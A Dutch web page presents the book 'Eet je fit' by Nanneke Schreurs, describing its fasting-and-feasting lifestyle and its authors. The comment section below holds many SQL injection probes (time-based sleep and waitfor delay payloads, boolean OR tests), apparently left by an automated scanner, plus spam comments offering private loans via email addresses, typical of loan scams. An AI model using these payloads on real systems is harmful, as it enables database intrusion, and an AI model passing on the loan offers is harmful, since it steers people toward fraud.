Eet je fit
Op dinsdag 13 juni werd het nieuwe boek 'Eet je fit' van Nanneke Schreurs gepresenteerd en Leontien was daarbij aanwezig. "Eindelijk een boek over gezond eten met aandacht voor genieten!", aldus Leontien.
Het boek is hier te koop
Tegenwoordig bieden we onze spieren en hersenen veel minder afwisseling en uitdaging dan in de tijd van onze verre voorouders. De Feesten & Vasten-leefstijl is erop gericht dat we onszelf weer blootstellen aan prikkels en schaarste en daardoor ons lijf en onze hersenen uitdagen om te ‘overleven’. Hoe beter je lichaam en geest in staat zijn zich aan te passen aan verschillende omstandigheden, hoe gezonder je bent. Belangrijk onderdeel van deze leefstijl is periodiek vasten: twee dagen opletten en calorieën tellen, afgewisseld met vijf dagen genieten van lekker eten. Zo wordt een gezonde leefstijl écht genieten.
Over de auteurs
Nanneke Schreurs is orthomoleculair therapeut, voedingsdeskundige, personal trainer en yogadocente. Ze is eigenaar van Optimal Health Studio waar mensen begeleid worden op het gebied van voeding, training en ontspanning. Daarnaast heeft zij samen met haar man restaurant Rendez Vous in Mijdrecht. Nanneke schreef de recepten voor de Killerbody-boeken van Fajah Lourens, waarvoor José de foto’s maakte. Fotografe José van Riele woonde in Parijs en New York en werkte over de hele wereld. Haar jarenlange ervaring in reis- en foodfotografie komt tot uitdrukking in dit prachtige boek.
Het boek is hier te koop
Reacties
Er zijn nog geen reacties op dit artikel.
e
(select 198766*667891 from DUAL), 26 december 2025
e
(select 198766*667891), 26 december 2025
e
@@Eju5M, 26 december 2025
e
e????%2527%2522\'\", 26 december 2025
e
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||', 26 december 2025
e
eejYs8BJv')) OR 858=(SELECT 858 FROM PG_SLEEP(15))--, 26 december 2025
e
elbiyfgeF') OR 581=(SELECT 581 FROM PG_SLEEP(15))--, 26 december 2025
e
ecRSdTj4a' OR 507=(SELECT 507 FROM PG_SLEEP(15))--, 26 december 2025
e
esHeFnUPn')); waitfor delay '0:0:15' -- , 26 december 2025
e
e03BCXyhW'); waitfor delay '0:0:15' -- , 26 december 2025
e
eCYx2TZoO'; waitfor delay '0:0:15' -- , 26 december 2025
e
e-1 waitfor delay '0:0:15' -- , 26 december 2025
e
e-1); waitfor delay '0:0:15' -- , 26 december 2025
e
e-1; waitfor delay '0:0:15' -- , 26 december 2025
e
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/, 26 december 2025
e
e0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z, 26 december 2025
e
e0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z, 26 december 2025
e
if(now()=sysdate(),sleep(15),0), 26 december 2025
e
-1" OR 5*5=25 or "xNUZwPRy"=", 26 december 2025
e
-1' OR 5*5=25 or 'oP0rJo44'=', 26 december 2025
e
-1" OR 5*5=25 -- , 26 december 2025
e
-1' OR 5*5=25 -- , 26 december 2025
e
-1 OR 5*5=25, 26 december 2025
e
-1 OR 5*5=25 -- , 26 december 2025
e
eQk2HWEru, 26 december 2025
(select 198766*667891 from DUAL)
e, 26 december 2025
(select 198766*667891)
e, 26 december 2025
@@vMduN
e, 26 december 2025
e����%2527%2522\'\"
e, 26 december 2025
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
e, 26 december 2025
eSkoqd7d1')) OR 965=(SELECT 965 FROM PG_SLEEP(15))--
e, 26 december 2025
eUqX0Xji9') OR 254=(SELECT 254 FROM PG_SLEEP(15))--
e, 26 december 2025
e6gRrRlzY' OR 124=(SELECT 124 FROM PG_SLEEP(15))--
e, 26 december 2025
eSEdU8cn3')); waitfor delay '0:0:15' --
e, 26 december 2025
e5o6owBso'); waitfor delay '0:0:15' --
e, 26 december 2025
eV2XyTJ0r'; waitfor delay '0:0:15' --
e, 26 december 2025
e-1 waitfor delay '0:0:15' --
e, 26 december 2025
e-1); waitfor delay '0:0:15' --
e, 26 december 2025
e-1; waitfor delay '0:0:15' --
e, 26 december 2025
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
e, 26 december 2025
e0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
e, 26 december 2025
e0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
e, 26 december 2025
if(now()=sysdate(),sleep(15),0)
e, 26 december 2025
-1" OR 5*5=25 or "ayLERTsg"="
e, 26 december 2025
-1' OR 5*5=25 or '5QulElml'='
e, 26 december 2025
-1" OR 5*5=25 --
e, 26 december 2025
-1' OR 5*5=25 --
e, 26 december 2025
-1 OR 5*5=25
e, 26 december 2025
-1 OR 5*5=25 --
e, 26 december 2025
eFYUgywoe
e, 26 december 2025
Hallo, ik raad mevrouw Susanne Welsch van harte aan iedereen aan die op zoek is naar een betrouwbare lening en kwalitatieve ondersteuning. Haar e-mailadres: welschsuane@gmail.com
Manuela, 28 oktober 2025
U verkeert in financiële moeilijkheden en bent niet in de gunst bij de banken, of beter nog, u heeft een project en heeft financiering nodig, u heeft een slechte kredietgeschiedenis, of u heeft geld nodig om uw rekeningen te betalen, of geld om te investeren in bedrijven.
Dus als u krediet nodig heeft, aarzel dan niet om contact met mij op te nemen voor meer informatie over mijn voorwaarden. U kunt mij bereiken via d.marysebiernaux@gmail.com
Maryse Biernaux, 28 oktober 2025
Hallo, ik heb een lening van 20.000 euro gekregen van een zeer eerlijke en serieuze dame. De voorwaarden zijn goed, evenals de terugbetalingsmethode en de rente. E-mail: renata.ranf@gmail.com
Monique, 28 oktober 2025
Hallo, ik heb een lening van 20.000 euro gekregen van een zeer eerlijke en serieuze dame. De voorwaarden zijn goed, evenals de terugbetalingsmethode en de rente. E-mail: renata.ranf@gmail.com
Monique, 28 oktober 2025